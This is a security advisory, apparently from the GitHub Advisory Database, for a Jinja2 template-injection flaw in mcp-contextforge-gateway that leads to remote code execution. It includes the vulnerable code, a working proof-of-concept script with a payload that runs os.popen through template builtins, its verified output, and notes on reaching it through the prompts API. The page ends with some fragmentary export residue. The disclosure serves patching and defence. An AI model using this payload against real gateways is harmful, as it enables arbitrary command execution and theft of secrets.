mcp-contextforge-gateway
Affected
- introduced
0, fixed1.0.0(ecosystem)
Fixed versions
1.0.0
Fix
- Fixed version
1.0.0pip install --upgrade mcp-contextforge-gateway==1.0.0
Advisory
Also known as: None
mcp-contextforge-gateway has Server-Side Template Injection (SSTI) leading to Remote Code Execution in PromptService._render_template via unsandboxed Jinja2 Environment
Summary
mcpgateway.services.prompt_service.PromptService renders user-supplied prompt templates using Jinja2's plain Environment() rather than SandboxedEnvironment. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.
Details
Affected component: mcpgateway/services/prompt_service.py
Affected version: 0.9.0 (verified). The fix in the unreleased main branch indicates all earlier published versions are likewise affected.
Vulnerable code
mcpgateway/services/prompt_service.py, line 26:
from jinja2 import Environment, meta, select_autoescape
mcpgateway/services/prompt_service.py, line 135 (inside PromptService.__init__):
self._jinja_env = Environment(
autoescape=select_autoescape(["html", "xml"]),
trim_blocks=True,
lstrip_blocks=True,
)
mcpgateway/services/prompt_service.py, lines 1592–1616 (_render_template):
def _render_template(self, template: str, arguments: Dict[str, str]) -> str:
...
try:
jinja_template = self._jinja_env.from_string(template)
return jinja_template.render(**arguments)
except Exception:
try:
return template.format(**arguments)
except Exception as e:
raise PromptError(f"Failed to render template: {str(e)}")
_render_template is invoked from PromptService.get_prompt (line 892):
rendered = self._render_template(prompt.template, arguments)
Where prompt.template is loaded from the database. The template field of the database row is populated via the register_prompt, update_prompt, and register_prompts_bulk API endpoints, which accept attacker-controlled template content from authenticated API callers.
Because self._jinja_env is a plain jinja2.Environment rather than jinja2.sandbox.SandboxedEnvironment, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to __builtins__.__import__ and calls os.popen (or any equivalent chain) executes arbitrary code at render time.
PoC
The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.
Setup
pip install mcp-contextforge-gateway==0.9.0
Reproducer (`poc.py`)
import os
import warnings
with warnings.catch_warnings():
warnings.simplefilter("ignore")
from mcpgateway.services.prompt_service import PromptService
import mcpgateway
print(f"[+] mcpgateway version: {mcpgateway.__version__}")
PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt")
if os.path.exists(PROOF):
os.remove(PROOF)
service = PromptService()
print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")
payload = (
"{{ self.__init__.__globals__.__builtins__"
".__import__('os').popen('echo MCPGATEWAY_RCE > "
+ PROOF.replace('\\', '/') + "').read() }}"
)
print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}")
service._render_template(payload, {})
print(f"[+] PROOF exists after render: {os.path.exists(PROOF)}")
if os.path.exists(PROOF):
with open(PROOF) as f:
print(f"[+] PROOF contents: {f.read().strip()!r}")
Verified output
[+] mcpgateway version: 0.9.0
[+] PromptService._jinja_env type: Environment
[+] PROOF exists before render: False
[+] PROOF exists after render: True
[+] PROOF contents: 'MCPGATEWAY_RCE'
The file MCPGATEWAY_RCE_PROOF.txt is written to disk by the embedded os.popen call, demonstrating arbitrary command execution in the gateway process. Replacing echo MCPGATEWAY_RCE > ... with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.
End-to-end via the API
A full attack against a deployed gateway uses the same payload supplied as the template field to POST /prompts (or PUT /prompts/{id}). Once stored, the template fires every time the prompt is rendered via the gateway's MCP prompts/get flow.
Impact
This is a Server-Side Template Injection vulnerability in a component (PromptService) that is exposed via the gateway's REST API. The attacker requirement is authenticated API access with permission to register or update prompts — a normal capability for users in the gateway's intended deployment model.
Successful exploitation yields:
Affected user populations:
mcp-contextforge-gateway from PyPISuggested remediation requests:
pip install --upgrade returns a fixed versionCHANGELOG.md entry as a security fix and add an upgrade-urgency note in SECURITY.md for users still on affected versions---
Maintainer review (accepted)
Reproduced and accepted. Findings from the maintainer's review:
Confirmed valid (SSTI → RCE). In mcpgateway/services/prompt_service.py as published in v0.9.0 (and all earlier releases), _render_template() runs Environment().from_string(template).render(**args) on a plain, unsandboxed jinja2.Environment (v0.9.0 line 27: from jinja2 import Environment). With no render-time sandbox, the __builtins__.__import__('os').popen(...) chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.
Reachable with attacker-controlled input. The template field is persisted by the authenticated write paths — POST /prompts (prompts.create), prompt update (prompts.update), and bulk register — then rendered in get_prompt() → _render_template(). Any authenticated principal holding prompts.create/prompts.update reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.
High Basis: The source's own band: HIGH
0, fixed 1.0.0 (ecosystem)1.0.0
1.0.0pip install --upgrade mcp-contextforge-gateway==1.0.0Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0